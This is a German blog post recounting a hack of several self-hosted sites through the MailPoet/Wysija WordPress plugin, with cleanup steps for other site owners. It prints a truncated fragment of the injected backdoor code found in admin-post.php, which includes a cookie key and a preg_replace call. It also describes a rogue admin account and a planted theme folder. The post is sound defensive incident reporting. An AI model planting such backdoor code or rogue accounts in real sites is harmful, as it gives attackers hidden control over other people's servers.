Newsletter-Plugin Mailpoet/Wysija verursacht Hackerangriff auf WordPress-Installationen

Jetzt ist es auch bei mir passiert. Nachdem ich nahezu 10 Jahre lang unbehelligt von Hackerangriffen und Botnetzen auf meinen mittlerweile 8 betreuten Blogs verschont wurde, hat es mich doch nun eiskalt erwischt und als ich einer meiner Seite öffnete erschien nur noch Server Error 500. Schock.

Schnell nachgeforscht was da los sei und siehe da: Alle meine php-Dateien waren verseucht.

Insgesamt hatte es drei WordPress-Installationen, einmal Owncloud und einmal Piwik erwischt, alle lagen auf dem gleichen Server. Mit dem Code hingegen konnte ich gar nix anfangen. Er war maschinenverschlüsselt und für mich weder decodier- noch interpretierbar.

Panik!

In der ersten Panik habe ich gleich mal. Sämtliche Passwörter geändert, also Datenbankpasswort, FTP, SSH, und von den einzelnen CMS-Systemen.

Außerdem habe ich gleich ein komplettes Serverbackup eingespielt, um die Daten wieder auf den alten Stand zu bringen.

Wieder Panik!

Doch am nächsten Tag das gleiche Spiel. Alle Seiten waren wieder durch den Schadcode infiziert. Also, wieder Backup eingespielt.

Als nächstes suchte ich erst einmal in der MySQL nach verdächtigen Benutzern und siehe da: in den Tabellen wp_user und wp_usermeta hatte sich ein mir unbekannter Administrator eingerichtet mit der User-ID 1001001. Die betreffenden Zeilen habe ich dann weggelöscht und es war wieder Ruhe.

Und jetzt?

Dennoch wollte ich wissen, wie die Cracker Zugriffe auf mein ansonsten sehr gut abgesicherten Server kommen konnten. Als nächstes entdeckte ich,  dass in der Datei wp-admin/admin-post.php immer noch verdächtiger Code am Anfang der Datei stand, obwohl ich fast zwei Wochen zurück gegangen war mit meinem Backup.

Und da fand ich dann auch den für mich entscheidenden Hinweis:

php if ((isset($_REQUEST["page"])) and (isset($_REQUEST["action"]))) { if ((strtolower($_REQUEST["page"])=="wysija_campaigns") and (strtolower($_REQUEST["action"])=="themeupload")) exit; } $cookey = "aaf5ac4f18"; preg_replace [...]

Was hat dort, in einer WordPress-Core-Datei ein Verweis auf das Plugin „wysija“ (Mailpoet) verloren?

Das Mailpoet-Plugin (Wysija) war das Einfallstor!

Schnell diesen Codeschnipsel rausgelöscht und weitergesucht. Im Plugin-Verzeichnis von wysija fand ich nichts auffälliges, aber im wp-content/upload – Verzeichnis fand ich dann das Einfallstor. Denn da war unter Themes ein Ordner, den ich nicht kannte (wp-content/uploads/wysija/themes/mailp). Und darin fand ich dann eine Index.php, die ebenfalls den Schadcode enthielt. Auch diesen Ordner löschte ich und seitdem herrscht wieder Ruhe auf dem Blog.

Zur Sicherheit habe ich noch im Uploads-Ordner eine Sperre via .htaccess eingebaut, dass zukünftig keine php-Dateien mehr von dort ausgeführt werden können (Inhalt siehe unten unter 5.)

Zusammenfassung & How-To

Also, hier nochmal alles was ihr tun müsst in der Übersicht:

  1. In eurer MySQL-Datenbank sucht und löscht ihr den User 1001001
  2. Ihr spielt ein Backup ein. Falls ihr kein Backup haben solltet, dann müsst ihr den Code händisch aus den Dateien löschen (viel Arbeit) oder alternativ alles neu installieren und einrichten (auch viel zu tun). Also wie ihr seht sind auch hier regelmäßige Backups sinnvoll.
  3. Schaut in wp-admin/admin-post.php nach, ob dort Schadcode enthalten ist
  4. Löscht auf jeden Fall das unerwünschte Theme im Wysija-Upload-Ordner (wp-content/uploads/wysija/themes/mailp/)
  5. Erstellt euch im Upload-Ordner eine .htaccess mit dem Inhalt
    <FilesMatch .php>   Order deny,allow Deny from all</FilesMatch>
  6. Ändert alle erdenklichen Passwörter auf eurem Server

So, ich hoffe damit habt ihr wieder wie ich ein gutes Gefühl mit euren WordPress-Installationen. Übrigens wurde die Verwundbarkeit des Mailpoet-Plugins inzwischen mit der neuesten Version behoben. Aber wenn ihr das Plugin benutzt, checkt am besten trotzdem die oben genannten Orte, ob ihr nicht auch betroffen seid. Evtl. wurde die Hintertür für den Angriff bereits installiert, das Einfallstor aber noch nicht benutzt.

Wenn ihr Fragen habt, scheut euch nicht sie hier in den Kommentaren zu stellen!

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.